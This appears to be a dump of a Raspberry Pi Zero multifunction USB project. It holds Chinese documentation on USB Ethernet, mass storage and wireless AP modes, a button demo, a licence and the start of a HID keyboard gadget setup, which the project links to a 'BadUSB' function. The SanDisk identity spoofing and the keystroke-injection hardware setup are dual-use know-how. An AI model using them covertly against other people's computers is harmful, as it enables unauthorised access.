4Load:   dtoverlay=dwc-otg
5Params: <None>
6
7
8Name:   dwc2
9Info:   Selects the dwc2 USB controller driver
10Load:   dtoverlay=dwc2,<param>=<val>
11Params: dr_mode                 Dual role mode"host""peripheral" or "otg"
12
13        g-rx-fifo-size          Size of rx fifo size in gadget mode
14
15        g-np-tx-fifo-size       Size of non-periodic tx fifo size in gadget
16                                mode
16 |

这是由于在目前所有树莓派中,只有树莓派Zero系列支持OTG,故只有树莓派Zero的驱动为支持host和slave的dwc2,这使得实现U盘模式和网卡模式等成为可能

17 |

实现

18 |

网卡模式

19 |

可参考“基于树莓派的多功能USB实现--系统安装”一文中“开机准备”->“Plan B”

20 |
设置步骤
21 |
    22 |
  1. 在根目录下面的config.txt文件的末尾添加一行
  2. 23 |
24 |
1dtoverlay=dwc2
25 |
    26 |
  1. 若要网卡模式,打开 cmdline.txt 在 rootwait 后面添加如下内容。
  2. 27 |
28 |
1modules-load=dwc2,g_ether
29 |
    30 |
  1. 重启。
  2. 31 |
  3. ifconfig会出现usb0网卡
  4. 32 |
33 |
 1root@raspberrypi:~# ifconfig
2lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
3        inet 127.0.0.1  netmask 255.0.0.0
4        inet6 ::1  prefixlen 128  scopeid 0x10<host>
5        loop  txqueuelen 1000  (Local Loopback)
6        RX packets 4  bytes 444 (444.0 B)
7        RX errors 0  dropped 0  overruns 0  frame 0
8        TX packets 4  bytes 444 (444.0 B)
9        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
10
11usb0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
12        inet 169.254.85.97  netmask 255.255.0.0  broadcast 169.254.255.255
13        inet6 fe80::ebd3:772b:6391:bfde  prefixlen 64  scopeid 0x20<link>
14        ether 32:f7:c3:1c:e2:00  txqueuelen 1000  (Ethernet)
15        RX packets 942  bytes 69082 (67.4 KiB)
16        RX errors 0  dropped 0  overruns 0  frame 0
17        TX packets 31  bytes 5556 (5.4 KiB)
18        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
19
20wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
21        inet 192.168.18.10  netmask 255.255.255.0  broadcast 192.168.18.255
22        inet6 2408:8210:904a:ce10:ba27:ebff:fed6:bd35  prefixlen 128  scopeid 0x0<global>
23        inet6 fe80::d265:e222:f80b:bafe  prefixlen 64  scopeid 0x20<link>
24        inet6 2408:8210:904a:ce10:9858:ac15:2a92:ac26  prefixlen 64  scopeid 0x0<global>
25        ether b8:27:eb:d6:bd:35  txqueuelen 1000  (Ethernet)
26        RX packets 1322  bytes 88862 (86.7 KiB)
27        RX errors 0  dropped 0  overruns 0  frame 0
28        TX packets 93  bytes 18435 (18.0 KiB)
29        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
34 |
应用
35 |

该模式目前个人主要用于ssh连接树莓派

36 |

U盘模式

37 |
设置步骤
38 |
    39 |
  1. 在根目录下面的config.txt文件的末尾添加一行
  2. 40 |
41 |
1dtoverlay=dwc2
42 |
    43 |
  1. 若要网卡模式,打开 cmdline.txt 在 rootwait 后面添加如下内容
  2. 44 |
45 |
1modules-load=dwc2,g_mass_storage
46 |
    47 |
  1. 重启
  2. 48 |
  3. 新建一个2g的镜像文件
  4. 49 |
50 |
1dd if=/dev/zero of=/home/my_u_disk.bin bs=1024 count=1000000
51 |
    52 |
  1. 然后格式化成vfat格式
  2. 53 |
54 |
1mkfs.vfat /home/my_u_disk.bin
55 |
    56 |
  1. 执行以下命令后,若树莓派Zero插在电脑上,则在电脑上会弹出U盘设备
  2. 57 |
58 |
1modprobe g_mass_storage file=/home/my_u_disk.bin removable=1 dVendor=0x0781 idProduct=0x5572 bcdDevice=0x011a iManufacturer="SanDisk" iProduct="Cruzer Switch" iSerialNumber="1234567890"
59 |
应用
60 |

该模式可以用于模拟普通U盘,也可配合菜单选项中Export log,导出操作log 61 |
需要注意的是,当U盘镜像文件modprobe为外界U盘时,如果mountU盘镜像文件到树莓派系统本地会发现,外界U盘的文件增删查改操作并不会同步显示,需umountrmmod之后再mountmodprobe一遍才能同步。 62 |
故在交互菜单栏中有Flash U Disk选项,以便在Export log后更新U盘显示内容

63 |

附录

64 |

dwc_otg与dwc2

65 |
66 |

dwc_otg is the driver that has been heavily patched to squeeze most performance & function in host mode 67 | on the Pi: the fiq stuff etc. So heavily patched that, despite the name, it only does host mode & 68 | not OTG.
dwc2 is an upstream driver which can do the OTG host/gadget flip dictated by 69 | OTG_SENSE. In host mode performance will pale of dwc_otg, hence it's only recommended for gadget mode.

70 |
71 |

what is OTG

72 |
73 |

USB On-The-Go (USB OTG or just OTG) is a specification first used in late 2001 that allows USB devices, such 74 | as tablets or smartphones, to act as a host, allowing other USB devices, such as USB flash drives, digital 75 | cameras, mice or keyboards, to be attached to them. Use of USB OTG allows those devices to switch back and 76 | forth between the roles of host and device. A mobile phone may read from removable media as the host device, 77 | but present itself as a USB Mass Storage Device when connected to a host computer.

78 |
79 |

三种模式

80 |
81 |

Using the modules

82 |
    83 |
  • g_serial - To use the standard serial module, you need to tell the Pi to forward the serial console 84 | to it with sudo systemctl enable getty@ttyGS0.service, then you can connect to the device via Putty or 85 | Screen.
  • 86 |
  • g_ether - Using virtual ethernet, you should simply be able to ssh into the address of your 87 | Raspberry Pi. To do this, there is a little extra configuration required though. There is a few ways we 88 | could set up the point to point networking. The proper way would be to set up a DHCP server on one of the 89 | ends. A far simplier was though is just to give the Raspberry Pi a fixed IP address. To do this, you will 90 | need to run sudo echo -e "interface usb0 \nstatic ip_address=169.254.64.64" >> /etc/dhcpcd.conf. You 91 | can then access the Raspberry Pi Zero by connecting to 169.254.64.64, or by using raspberrypi.local if 92 | your computer has Bonjour installed (Mac and most Linux OSs including Raspbian). Note this method does not 93 | support adding a fixed address to the cmdline.txt file. For that, you have to use the Ethernet only kernel 94 | below.
  • 95 |
  • g_mass_storage - To have your Pi Zero appear as a mass storage device (flash drive), first create a 96 | mini filesystem in a file on your Pi with sudo dd if=/dev/zero of=/piusb.bin bs=512 count=2880 and set it 97 | up as a fat32 filesystem with sudo mkdosfs /piusb.bin. Then, when enabling it, add file=/piusb.bin stall=0 98 | onto the end, for example sudo modprobe g_mass_storage file=/piusb.bin stall=0.
  • 99 |
100 |

In theory, most USB devices should work alongside these kernels, to switch to USB OTG mode, simply don't use 101 | an OTG adapter cable and use a standard USB cable to plug your Pi Zero into another computer, it should auto 102 | switch.

103 |
104 |

参考链接

105 |

Difference between DWCOTG and DWC2(https://www.raspberrypi.org/forums/viewtopic.php?t=179259)
USB 106 | On-The-Go(https://en.wikipedia.org/wiki/USB_On-The-Go)
树莓派 /boot/overlays/README
Raspberry Pi Zero OTG 107 | Mode(https://gist.github.com/gbaman/50b6cca61dd1c3f88f41)

108 |
109 |
110 | {% endblock %} 111 | -------------------------------------------------------------------------------- /html/templates/wireless_AP.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block tittle %} 3 | 无线AP模式 4 | {% endblock %} 5 | {% block body %} 6 |
7 |
8 |

无线AP模式

9 |

模式用处

10 |

树莓派最终作为独立的多功能USB设备时,可能会面对相对复杂的应用环境。为了脱离HDMI转接线,路由器,电脑等环境的限制,故添加了无线AP模式以应对特殊使用场景。 11 |
在按键开启无线AP模式以后,树莓派可作为具有路由功能的三层设备,只需手机等终端连接热点即可完成树莓派的完全控制,也可结合BadUSB功能实现无线USB功能

12 |

实现

13 |

实现AP模式需要用到一个开源项目https://github.com/oblique/create_ap,详细信息可在github上查看

14 |
    15 |
  1. 安装软件
  2. 16 |
17 |
1git clone https://github.com/oblique/create_ap
2cd create_ap
3sudo make install
18 |
    19 |
  1. 安装依赖工具
  2. 20 |
21 |
1apt-get install util-linux procps hostapd iproute2 iw haveged dnsmasq
22 |
    23 |
  1. 尝试运行时,会报错
  2. 24 |
25 |
1root@raspberrypi:~/init_os# create_ap -n wlan0 My_AP 12345678
2WARN: brmfmac driver doesn't work properly with virtual interfaces and
3      it can cause kernel panic. For this reason we disallow virtual
4      interfaces for your adapter.
5      For more info: https://github.com/oblique/create_ap/issues/203
6ERROR: Your adapter can not be a station (i.e. be connected) and an AP at the same time
7root@raspberrypi:~/init_os#
8

26 |

这是由于树莓派无线适配器当前处于无线网卡模式,而其不支持同时做无线终端和AP

27 |
1root@raspberrypi:~/init_os# ps aux|grep "iwlan0"
2root       356  0.0  0.9  10944  4016 ?        Ss   02:27   0:00 wpa_supplicant -B -c/etc/wpa_supplicant/wpa_supplicant.conf -iwlan0 -Dnl80211,wext
3root      1147  0.0  0.4   7304  1792 pts/0    S+   03:54   0:00 grep iwlan0
4root@raspberrypi:~/init_os#
28 |

29 | 需kill掉该进程后再开启AP模式,以下是该功能的实现函数。需要注意的是,在主程序调用脚本时os.popen().read()会阻塞进程,故此处做后台运行处理,防止树莓派在开启AP模式后假死(卡在等待os.popen().read()返回状态) 30 |

31 |
 1function enable_ap()
2{
3    AP_name="SecretAP"
4    AP_pwd="12345678"
5    pid1=`ps aux|grep  "create_ap -n wlan0"|grep -v grep`
6    pid2=`ps aux|grep "iwlan0"|grep -v grep`
7    if [ ! -z "$pid1" -a -z "$pid2" ];then
8        green_message "It is AP mode now,skip..."
9        return 0
10    fi
11    kill "$(ps aux|grep "iwlan0"|head -1|awk '{print $2}')" > /dev/null 2>&1
12    DATE=`date +"%Y%m%d%H%M%S"`
13    print_run "nohup create_ap -n wlan0 $AP_name $AP_pwd > /tmp/create_ap_log_${DATE}.log 2>&1 &"
14}
32 |
    33 |
  1. 该方案可以实现需要时开启AP模式,重启失效,恢复为无线终端模式。
  2. 34 |
35 |

其他方案

36 |
37 |

RaspAP 是一个可以将树莓派轻松部署成无线 AP(Access Point)的软件方案,具有一套响应式的 WebUI 来控制 WiFi,用起来和家用路由器一样方便。RaspAP 可以运行在 Raspbian 38 | 上,只需要先给树莓派安装好 Raspbian 系统,再通过快速安装脚本就可以轻松完成 RaspAP 的安装和配置。

39 |
40 |

该方案易于安装,集成了webUI,但是不利于多功能USB的模块化管理。

41 |

实现效果

42 | 43 | 44 | 45 | 46 |

参考链接

47 |

create_ap(https://github.com/oblique/create_ap)
RaspAP:轻松实现树莓派无线 48 | AP(https://shumeipai.nxez.com/2019/09/30/raspap-webgui-installation-guide.html)

49 |
50 |
51 | {% endblock %} 52 | -------------------------------------------------------------------------------- /key_demo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2.7 2 | # -*- coding:utf-8 -*- 3 | import spidev as SPI 4 | import ST7789 5 | import RPi.GPIO as GPIO 6 | 7 | import time 8 | import subprocess 9 | 10 | import sys 11 | 12 | from PIL import Image 13 | from PIL import ImageDraw 14 | from PIL import ImageFont 15 | 16 | 17 | #GPIO define 18 | RST_PIN = 25 19 | CS_PIN = 8 20 | DC_PIN = 24 21 | 22 | KEY_UP_PIN = 6 23 | KEY_DOWN_PIN = 19 24 | KEY_LEFT_PIN = 5 25 | KEY_RIGHT_PIN = 26 26 | KEY_PRESS_PIN = 13 27 | 28 | KEY1_PIN = 21 29 | KEY2_PIN = 20 30 | KEY3_PIN = 16 31 | 32 | RST = 27 33 | DC = 25 34 | BL = 24 35 | bus = 0 36 | device = 0 37 | 38 | # 240x240 display with hardware SPI: 39 | disp = ST7789.ST7789(SPI.SpiDev(bus, device),RST, DC, BL) 40 | disp.Init() 41 | 42 | # Clear display. 43 | disp.clear() 44 | 45 | #init GPIO 46 | # for P4: 47 | # sudo vi /boot/config.txt 48 | # gpio=6,19,5,26,13,21,20,16=pu 49 | GPIO.setmode(GPIO.BCM) 50 | GPIO.setup(KEY_UP_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 51 | GPIO.setup(KEY_DOWN_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 52 | GPIO.setup(KEY_LEFT_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 53 | GPIO.setup(KEY_RIGHT_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 54 | GPIO.setup(KEY_PRESS_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 55 | GPIO.setup(KEY1_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 56 | GPIO.setup(KEY2_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 57 | GPIO.setup(KEY3_PIN, GPIO.IN, pull_up_down=GPIO.PUD_UP) # Input with pull-up 58 | #sys.exit() 59 | # Create blank image for drawing. 60 | # Make sure to create image with mode '1' for 1-bit color. 61 | width = 240 62 | height = 240 63 | image = Image.new('RGB', (width, height)) 64 | 65 | # Get drawing object to draw on image. 66 | draw = ImageDraw.Draw(image) 67 | 68 | # Draw a black filled box to clear the image. 69 | draw.rectangle((0,0,width,height), outline=0, fill=0) 70 | disp.ShowImage(image,0,0) 71 | 72 | # try: 73 | while 1: 74 | # with canvas(device) as draw: 75 | if GPIO.input(KEY_UP_PIN): # button is released 76 | draw.polygon([(20, 20), (30, 2), (40, 20)], outline=255, fill=0xff00) #Up 77 | else: # button is pressed: 78 | draw.polygon([(20, 20), (30, 2), (40, 20)], outline=255, fill=0) #Up filled 79 | print "Up" 80 | 81 | if GPIO.input(KEY_LEFT_PIN): # button is released 82 | draw.polygon([(0, 30), (18, 21), (18, 41)], outline=255, fill=0xff00) #left 83 | else: # button is pressed: 84 | draw.polygon([(0, 30), (18, 21), (18, 41)], outline=255, fill=0) #left filled 85 | print "left" 86 | 87 | if GPIO.input(KEY_RIGHT_PIN): # button is released 88 | draw.polygon([(60, 30), (42, 21), (42, 41)], outline=255, fill=0xff00) #right 89 | else: # button is pressed: 90 | draw.polygon([(60, 30), (42, 21), (42, 41)], outline=255, fill=0) #right filled 91 | print "right" 92 | 93 | if GPIO.input(KEY_DOWN_PIN): # button is released 94 | draw.polygon([(30, 60), (40, 42), (20, 42)], outline=255, fill=0xff00) #down 95 | else: # button is pressed: 96 | draw.polygon([(30, 60), (40, 42), (20, 42)], outline=255, fill=0) #down filled 97 | print "down" 98 | 99 | if GPIO.input(KEY_PRESS_PIN): # button is released 100 | draw.rectangle((20, 22,40,40), outline=255, fill=0xff00) #center 101 | else: # button is pressed: 102 | draw.rectangle((20, 22,40,40), outline=255, fill=0) #center filled 103 | print "center" 104 | 105 | if GPIO.input(KEY1_PIN): # button is released 106 | draw.ellipse((70,0,90,20), outline=255, fill=0xff00) #A button 107 | else: # button is pressed: 108 | draw.ellipse((70,0,90,20), outline=255, fill=0) #A button filled 109 | print "KEY1" 110 | 111 | if GPIO.input(KEY2_PIN): # button is released 112 | draw.ellipse((100,20,120,40), outline=255, fill=0xff00) #B button] 113 | else: # button is pressed: 114 | draw.ellipse((100,20,120,40), outline=255, fill=0) #B button filled 115 | print "KEY2" 116 | 117 | if GPIO.input(KEY3_PIN): # button is released 118 | draw.ellipse((70,40,90,60), outline=255, fill=0xff00) #A button 119 | else: # button is pressed: 120 | draw.ellipse((70,40,90,60), outline=255, fill=0) #A button filled 121 | print "KEY3" 122 | disp.ShowImage(image,0,0) 123 | # except: 124 | # print("except") 125 | # GPIO.cleanup() 126 | -------------------------------------------------------------------------------- /keyboard/LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright 2017 Valentin Brosseau 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /keyboard/README.md: -------------------------------------------------------------------------------- 1 | ## Install 2 | 3 | On the Pi and run the setup script. 4 | 5 | ```sh 6 | $ sudo ./setup.sh 7 | $ sudo reboot 8 | ``` 9 | -------------------------------------------------------------------------------- /keyboard/dictionary.txt: -------------------------------------------------------------------------------- 1 | \0\0\x4\0\0\0\0\0<-->a 2 | \0\0\x5\0\0\0\0\0<-->b 3 | \0\0\x6\0\0\0\0\0<-->c 4 | \0\0\x7\0\0\0\0\0<-->d 5 | \0\0\x8\0\0\0\0\0<-->e 6 | \0\0\x9\0\0\0\0\0<-->f 7 | \0\0\xa\0\0\0\0\0<-->g 8 | \0\0\xb\0\0\0\0\0<-->h 9 | \0\0\xc\0\0\0\0\0<-->i 10 | \0\0\xd\0\0\0\0\0<-->j 11 | \0\0\xe\0\0\0\0\0<-->k 12 | \0\0\xf\0\0\0\0\0<-->l 13 | \0\0\x10\0\0\0\0\0<-->m 14 | \0\0\x11\0\0\0\0\0<-->n 15 | \0\0\x12\0\0\0\0\0<-->o 16 | \0\0\x13\0\0\0\0\0<-->p 17 | \0\0\x14\0\0\0\0\0<-->q 18 | \0\0\x15\0\0\0\0\0<-->r 19 | \0\0\x16\0\0\0\0\0<-->s 20 | \0\0\x17\0\0\0\0\0<-->t 21 | \0\0\x18\0\0\0\0\0<-->u 22 | \0\0\x19\0\0\0\0\0<-->v 23 | \0\0\x1a\0\0\0\0\0<-->w 24 | \0\0\x1b\0\0\0\0\0<-->x 25 | \0\0\x1c\0\0\0\0\0<-->y 26 | \0\0\x1d\0\0\0\0\0<-->z 27 | \0\0\x1e\0\0\0\0\0<-->1 28 | \0\0\x1f\0\0\0\0\0<-->2 29 | \0\0\x20\0\0\0\0\0<-->3 30 | \0\0\x21\0\0\0\0\0<-->4 31 | \0\0\x22\0\0\0\0\0<-->5 32 | \0\0\x23\0\0\0\0\0<-->6 33 | \0\0\x24\0\0\0\0\0<-->7 34 | \0\0\x25\0\0\0\0\0<-->8 35 | \0\0\x26\0\0\0\0\0<-->9 36 | \0\0\x27\0\0\0\0\0<-->0 37 | \0\0\x29\0\0\0\0\0<-->ESCAPE 38 | \0\0\x2a\0\0\0\0\0<-->DELETE 39 | \0\0\x2b\0\0\0\0\0<-->Tab 40 | \0\0\x2c\0\0\0\0\0<--> 41 | \0\0\x2d\0\0\0\0\0<-->- 42 | \0\0\x2e\0\0\0\0\0<-->= 43 | \0\0\x2f\0\0\0\0\0<-->[ 44 | \0\0\x30\0\0\0\0\0<-->] 45 | \0\0\x31\0\0\0\0\0<-->\ 46 | \0\0\x33\0\0\0\0\0<-->; 47 | \0\0\x34\0\0\0\0\0<-->‘ 48 | \0\0\x37\0\0\0\0\0<-->. 49 | \0\0\x38\0\0\0\0\0<-->/ 50 | \x2\0\x4\0\0\0\0\0<-->A 51 | \x2\0\x5\0\0\0\0\0<-->B 52 | \x2\0\x6\0\0\0\0\0<-->C 53 | \x2\0\x7\0\0\0\0\0<-->D 54 | \x2\0\x8\0\0\0\0\0<-->E 55 | \x2\0\x9\0\0\0\0\0<-->F 56 | \x2\0\xa\0\0\0\0\0<-->G 57 | \x2\0\xb\0\0\0\0\0<-->H 58 | \x2\0\xc\0\0\0\0\0<-->I 59 | \x2\0\xd\0\0\0\0\0<-->J 60 | \x2\0\xe\0\0\0\0\0<-->K 61 | \x2\0\xf\0\0\0\0\0<-->L 62 | \x2\0\x10\0\0\0\0\0<-->M 63 | \x2\0\x11\0\0\0\0\0<-->N 64 | \x2\0\x12\0\0\0\0\0<-->O 65 | \x2\0\x13\0\0\0\0\0<-->P 66 | \x2\0\x14\0\0\0\0\0<-->Q 67 | \x2\0\x15\0\0\0\0\0<-->R 68 | \x2\0\x16\0\0\0\0\0<-->S 69 | \x2\0\x17\0\0\0\0\0<-->T 70 | \x2\0\x18\0\0\0\0\0<-->U 71 | \x2\0\x19\0\0\0\0\0<-->V 72 | \x2\0\x1a\0\0\0\0\0<-->W 73 | \x2\0\x1b\0\0\0\0\0<-->X 74 | \x2\0\x1c\0\0\0\0\0<-->Y 75 | \x2\0\x1d\0\0\0\0\0<-->Z 76 | \x2\0\x1e\0\0\0\0\0<-->! 77 | \x2\0\x1f\0\0\0\0\0<-->@ 78 | \x2\0\x20\0\0\0\0\0<--># 79 | \x2\0\x21\0\0\0\0\0<-->$ 80 | \x2\0\x22\0\0\0\0\0<-->% 81 | \x2\0\x23\0\0\0\0\0<-->^ 82 | \x2\0\x24\0\0\0\0\0<-->& 83 | \x2\0\x25\0\0\0\0\0<-->* 84 | \x2\0\x26\0\0\0\0\0<-->( 85 | \x2\0\x27\0\0\0\0\0<-->) 86 | \x2\0\x2d\0\0\0\0\0<-->_ 87 | \x2\0\x2e\0\0\0\0\0<-->+ 88 | \x2\0\x2f\0\0\0\0\0<-->{ 89 | \x2\0\x30\0\0\0\0\0<-->} 90 | \x2\0\x31\0\0\0\0\0<-->| 91 | \x2\0\x32\0\0\0\0\0<-->~ 92 | \x2\0\x33\0\0\0\0\0<-->: 93 | \x2\0\x34\0\0\0\0\0<-->“ 94 | \x2\0\x36\0\0\0\0\0<-->< 95 | \x2\0\x37\0\0\0\0\0<-->> 96 | \x2\0\x38\0\0\0\0\0<-->? 97 | -------------------------------------------------------------------------------- /keyboard/enable_hid.service: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Enable HID 3 | After=multi-user.target 4 | 5 | [Service] 6 | Type=simple 7 | ExecStart=/usr/bin/enable_hid.sh 8 | Restart=on-failure 9 | 10 | [Install] 11 | WantedBy=multi-user.target 12 | -------------------------------------------------------------------------------- /keyboard/enable_hid.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Initial Setup 4 | modprobe libcomposite 5 | cd /sys/kernel/config/usb_gadget/ 6 | mkdir -p g1 7 | cd g1 8 | 9 | # Device description 10 | echo 0x1d6b > idVendor # Linux Foundation 11 | echo 0x0104 > idProduct # Multifunction Composite Gadget 12 | echo 0x0100 > bcdDevice # v1.0.0 13 | echo 0x0200 > bcdUSB # USB2 14 | 15 | echo 0xEF > bDeviceClass 16 | echo 0x02 > bDeviceSubClass 17 | echo 0x01 > bDeviceProtocol 18 | 19 | mkdir -p strings/0x409 20 | echo "abcdef1234567890" > strings/0x409/serialnumber 21 | echo "Pedro Qin" > strings/0x409/manufacturer 22 | echo "raspberry USB device" > strings/0x409/product 23 | 24 | # Define a Keyboard 25 | mkdir -p functions/hid.usb0 26 